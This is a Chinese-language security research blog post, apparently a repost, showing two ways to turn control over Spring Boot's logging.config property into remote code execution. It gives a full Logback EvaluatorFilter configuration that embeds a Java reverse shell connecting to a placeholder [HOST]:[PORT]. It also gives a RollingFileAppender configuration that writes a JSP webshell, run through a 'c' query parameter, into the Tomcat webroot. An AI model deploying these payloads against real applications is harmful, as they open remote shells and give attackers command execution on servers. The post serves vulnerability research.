利用 Spring Boot 3.4.0 属性进行远程代码执行

科技   2024-12-11 19:31   广东  

我最近偶然发现了 Steven Seeley 的这篇很棒的文章。在这篇文章中,Steven 的一名学生在 Spring 应用程序中发现了一个有限的文件写入漏洞。Steven 能够利用对 Spring 文件的控制application.xml来设置任意的 Spring 属性,并滥用它来重新配置 Logback 库以实现远程代码执行 (RCE)。在他的结论中,Steven 表示可能还有其他机制可以实现 RCE,并鼓励其他研究人员探索 Spring。这激励了我这样做,在这篇文章中,我将详细介绍我如何找到在 Spring 中获取 RCE 的两种替代途径。

我想找到一种适用于最新版本 Spring 的通用方法,因此在分析中,我的设置是使用 Java 21、Tomcat 10.1 和 Spring Boot 3.4.0。我创建了一个简单的易受攻击的应用程序,模仿 Steven 在他的文章中提供的模拟代码,该代码包含一个允许将任意xml文件写入 Tomcat 根目录的问题。本文不会深入讨论这些细节,因为 Steven 已经讨论过这个问题,而且这与滥用 Spring 属性实现 RCE 的任务无关。本文中的技术假设攻击能够通过某些应用程序级漏洞来修改 Spring 配置。

了解了背景知识后,让我们深入研究通过 Spring 属性实现 RCE 的两种途径。

Logback 评估器过滤器

正如 Steven 的文章中提到的那样。Spring logging.config属性可用于为 Spring 提供 Logback 配置文件。它看起来像这样:

<!DOCTYPE properties SYSTEM "http://java.sun.com/dtd/properties.dtd">
<properties>
   <entry key="logging.config">http://[HOST]:[PORT]/logback.xml</entry>
</properties>

在阅读 Logback 的文档时,我还看到 Logback 可以通过logback.groovy文件进行配置。这引起了我的兴趣,因为 Groovy 本身就是一门完整的语言,但是当我尝试加载远程 Groovy 文件时,我遇到了 XML 解析错误,在进一步阅读之后,我发现 Logback 似乎出于这个原因默认放弃了对 Groovy 的支持。所以不幸的是,这种方法不是一种选择。 

最终,我偶然发现了Filters文档。在 Logback 中,过滤器基于三元逻辑,允许定义策略以有选择地处理特定的日志事件。在文档中,过滤器EvaluatorFilter立即看起来很有趣。

<configuration>
 <appender name="STDOUT" class="ch.qos.logback.core.ConsoleAppender">
   <filter class="ch.qos.logback.core.filter.EvaluatorFilter">     
     <evaluator> <!-- defaults to type ch.qos.logback.classic.boolex.JaninoEventEvaluator -->
       <expression>return message.contains("billing");</expression>
     </evaluator>
     <OnMismatch>NEUTRAL</OnMismatch>
     <OnMatch>DENY</OnMatch>
   </filter>
   <encoder>
     <pattern>
       %-4relative [%thread] %-5level %logger -%kvp -%msg%n
     </pattern>
   </encoder>
 </appender>
 <root level="INFO">
   <appender-ref ref="STDOUT" />
 </root>
</configuration>

上面例子中的元素Expression允许评估任意 Java 块,从而允许定义细粒度的策略。在这里我们可以放置任意 Java 并实现 RCE。

<configuration>
 <appender name="STDOUT" class="ch.qos.logback.core.ConsoleAppender">
   <filter class="ch.qos.logback.core.filter.EvaluatorFilter">
     <evaluator>
       <expression>
         <![CDATA[
           try {
             java.net.Socket socket = new java.net.Socket("[HOST]", [PORT]);
             java.io.InputStream in = socket.getInputStream();
             java.io.OutputStream out = socket.getOutputStream();
             java.util.Scanner scanner = new java.util.Scanner(in);
             java.io.PrintWriter writer = new java.io.PrintWriter(out, true);
             writer.println("Reverse shell connected!");
             while (scanner.hasNextLine()) {
               String command = scanner.nextLine();
               try {
                 String output = new java.util.Scanner(Runtime.getRuntime().exec(command).getInputStream()).useDelimiter("\\A").next();
                 writer.println(output);
               } catch (Exception e) {
                 writer.println("Error executing command: " + e.getMessage());
               }
             }
             socket.close();
           } catch (Exception e) {
             e.printStackTrace();
           }
           return message.contains("billing");
         ]]>
       </expression>
     </evaluator>
     <OnMismatch>NEUTRAL</OnMismatch>
     <OnMatch>DENY</OnMatch>
   </filter>
   <encoder>
     <pattern>
       pwnpwnpwn %-4relative [%thread] %-5level %logger -%kvp -%msg%n
     </pattern>
   </encoder>
 </appender>
 <root level="DEBUG">
   <appender-ref ref="STDOUT" />
 </root>
</configuration>

上述配置中包含一个典型的反向 shell 负载expression。这将产生一个交互式 shell。

虽然这种方法有效,但它并不是我所希望的通用漏洞。EvaluatorFilter依赖于Janino一个小型、快速的 Java 编译器。默认情况下,Spring Boot 应用程序中不包含此依赖项,因此要使此方法有效,目标应用程序必须已经在某种程度上使用了 Janino。让我们继续探索……

文件追加器

Logback 将写入日志事件的任务委托给称为附加程序的组件。附加程序实现接口ch.qos.logback.core.Appender并最终负责输出日志事件。您将看到的最常见的附加程序是ConsoleFile附加程序,它们分别将日志事件输出到STDOUT或文件。下面的 Logback 配置显示了使用这两种类型的示例。

<configuration>

 <appender name="STDOUT" class="ch.qos.logback.core.ConsoleAppender">
   <encoder>
     <pattern>%-4relative [%thread] %-5level %logger{35} -%kvp- %msg %n</pattern>
   </encoder>
 </appender>
 <appender name="FILE" class="ch.qos.logback.core.FileAppender">
   <file>testFile.log</file>
   <append>true</append>
   <immediateFlush>true</immediateFlush>
   <encoder>
     <pattern>%-4relative [%thread] %-5level %logger{35} -%kvp- %msg%n</pattern>
   </encoder>
 </appender>

 <root level="DEBUG">
   <appender-ref ref="STDOUT" />
   <appender-ref ref="FILE" />
 </root>
</configuration>

在上述文件附加器中,我们可以指定写入日志文件的路径,并在模式中定义日志事件的格式。根据定义的模式,记录的每个事件都将导致新行写入目标日志。 

您可能已经知道这是怎么回事了,我们可以写入任意位置并控制附加到文件的行的内容。这具有经典 webshell 的所有特征。如果我们可以将文件写入jsp应用程序的 webroot,那么我们就可以通过 HTTP 请求此资源,此时 Tomcat 将执行文件中包含的任何 Java 代码。

然而,在如何利用这一点上有一些细微差别,正如您所见,Logback 配置文件是 XML 格式,因此我们必须对尖括号(<和>)进行编码或使用 CDATA 来确保文档有效为 XML。此外,一些其他字符(例如%和))在 Logback 中与模式有关,因此必须对其进行适当的转义,否则我们会在 Logback 解析模式时遇到错误。

我们可以将所有这些放在一起并用来java.lang.Runtime.exec构建一个有效负载,该有效负载读取查询参数并将其作为 shell 命令执行。

<pattern>&lt;\% try { String command = request.getParameter("c"\); String result = new java.util.Scanner(Runtime.getRuntime(\).exec(command\).getInputStream(\)\).useDelimiter("\\\\A"\).next(\); out.print(result\); } catch (Exception e\) { e.printStackTrace(\); } \%&gt;</pattern>

现在,虽然上述有效载荷有效,但我们还有另一个问题。当尝试请求 webshell 时,你可能会遇到以下错误:

springtest-tomcat-1  | An error occurred at line: [84] in the generated java file: [/usr/local/tomcat/work/Catalina/localhost/helloworld/org/apache/jsp/logs/tests_jsp.java]
springtest-tomcat-1  | The code of method _jspService(HttpServletRequest, HttpServletResponse) is exceeding the 65535 bytes limit

由于每次写入日志时,FileAppender 都会将我们的 webshell 的 Java 附加到我们的恶意日志文件中,所以文件很容易超出 Java 虚拟机规范中指定的字节码限制,这使得这种漏洞利用不可靠,因为合法的日志记录事件可以累积并使我们的文件超出限制。 

这里的一个潜在解决方案是使用 Logbacks 支持条件配置,这将允许 Appender 仅在满足特定条件时写入,但经过进一步检查,条件配置依赖于Janino我们之前的 RCE 技术。因此,这不是任何 Spring Boot 应用程序的通用解决方案。

最终解决这个问题非常简单,我们可以利用 Logbacks 日志文件轮换来为我们的日志设置最大文件大小,确保永远不会超过字节码限制。 

<configuration debug="true">

   <appender name="FILE" class="ch.qos.logback.core.rolling.RollingFileAppender">
       <file>/usr/local/tomcat/webapps/helloworld/logs/tests.jsp</file>
       <append>true</append>
       <rollingPolicy class="ch.qos.logback.core.rolling.SizeAndTimeBasedRollingPolicy">
           <fileNamePattern>/usr/local/tomcat/webapps/helloworld/logs/tests-%d{yyyy-MM-dd}.%i.jsp</fileNamePattern>
           <maxFileSize>1KB</maxFileSize>
           <maxHistory>3</maxHistory>
           <totalSizeCap>3KB</totalSizeCap>
       </rollingPolicy>
       <encoder class="ch.qos.logback.classic.encoder.PatternLayoutEncoder">
           <pattern>&lt;\% try { String command = request.getParameter("c"\); String result = new java.util.Scanner(Runtime.getRuntime(\).exec(command\).getInputStream(\)\).useDelimiter("\\\\A"\).next(\); out.print(result\); } catch (Exception e\) { e.printStackTrace(\); } \%&gt;</pattern>
       </encoder>
   </appender>

   <root level="debug">
       <appender-ref ref="FILE" />
   </root>
</configuration>

虽然这不是最优雅的方法,因为我们的 webshell 仍然被多次写入 webshell,但该技术可靠地工作并允许我们实现 RCE 的目标,如下所示。

注意事项

Spring 应用程序的部署方法会显著影响这些技术的可利用性。我们的方法假设能够上传或修改 Spring 配置文件,并且需要重新启动应用程序才能使更改生效。然而,在容器化环境中,在应用程序重新启动后保留攻击者控制的 Spring 配置文件可能会带来挑战,具体取决于部署配置。

结论

我介绍了两种利用 Logback 配置在 Spring Boot 应用程序中实现远程代码执行 (RCE) 的方法。这些技术在最新版本的 Spring Boot 上有效,第二种方法不需要额外的依赖项。

Logback 和 Spring 中广泛的配置选项可能包含许多其他功能,这些功能可用于将简单的受限文件写入升级为 Spring 应用程序中的 RCE。正如 Steven 恰当地建议的那样,我强烈鼓励研究人员深入研究 Spring 的复杂性,以进行进一步探索。


感谢您抽出

.

.

来阅读本文

点它,分享点赞在看都在这里

Ots安全
持续发展共享方向:威胁情报、漏洞情报、恶意分析、渗透技术(工具)等,不会回复任何私信,感谢关注。
 最新文章